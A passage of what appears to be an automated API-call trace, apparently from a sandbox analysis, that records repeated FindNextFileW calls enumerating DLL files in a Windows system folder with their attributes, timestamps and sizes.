lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0154.198] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0154.198] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74a8a79f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x74a8a79f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x74803050, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="amcompat.tlb", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526e94c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526e94c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6008bf80, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ea5c40, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ea5c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6008bf80, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ecbda0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ecbda0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6008bf80, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52e59980, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52e59980, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600b0970, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52f18060, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52f18060, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600b0970, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ecbda0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ecbda0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600d7a70, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.211] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52f3e1c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52f3e1c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600feb70, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7e9870, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7e9870, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ea5c40, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ea5c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600feb70, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526c3360, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526c3360, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x600feb70, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52f3e1c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52f3e1c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x60123560, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ef1f00, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ef1f00, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x60123560, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52b39ca0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52b39ca0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6014a660, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52735780, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52735780, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6014a660, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x5262ade0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x5262ade0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6014a660, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.212] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526c3360, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526c3360, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6014a660, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.213] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x5269d200, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x5269d200, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6016f050, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.213] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526e94c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526e94c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6016f050, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.213] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52bac0c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52bac0c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x6016f050, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.213] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52735780, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52735780, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x60196150, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.213] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7e9870, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7e9870, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0154.215] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ea5c40, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ea5c40, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x60196150, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ecbda0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ecbda0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x601bd250, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ecbda0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ecbda0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x601bd250, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52d28e80, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52d28e80, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x601bd250, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526c3360, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526c3360, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x601bd250, ftLastWriteTime.dwHighDateTime=0x1d08a05, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52d02d20, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52d02d20, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0xc682ec90, ftLastWriteTime.dwHighDateTime=0x1d089fb, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a881df0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a881df0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x52ecbda0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x52ecbda0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0xc689f170, ftLastWriteTime.dwHighDateTime=0x1d089fb, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x526e94c0, ftCreationTime.dwHighDateTime=0x1d7a944, ftLastAccessTime.dwLowDateTime=0x526e94c0, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0xc689f170, ftLastWriteTime.dwHighDateTime=0x1d089fb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.216] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a85bc90, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a85bc90, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a835b30, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a835b30, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a80f9d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a80f9d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a835b30, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a835b30, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0154.217] FindNextFileW (in: hFindFile=0x1a9d8de0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7e9870, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x6a7e9870, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", 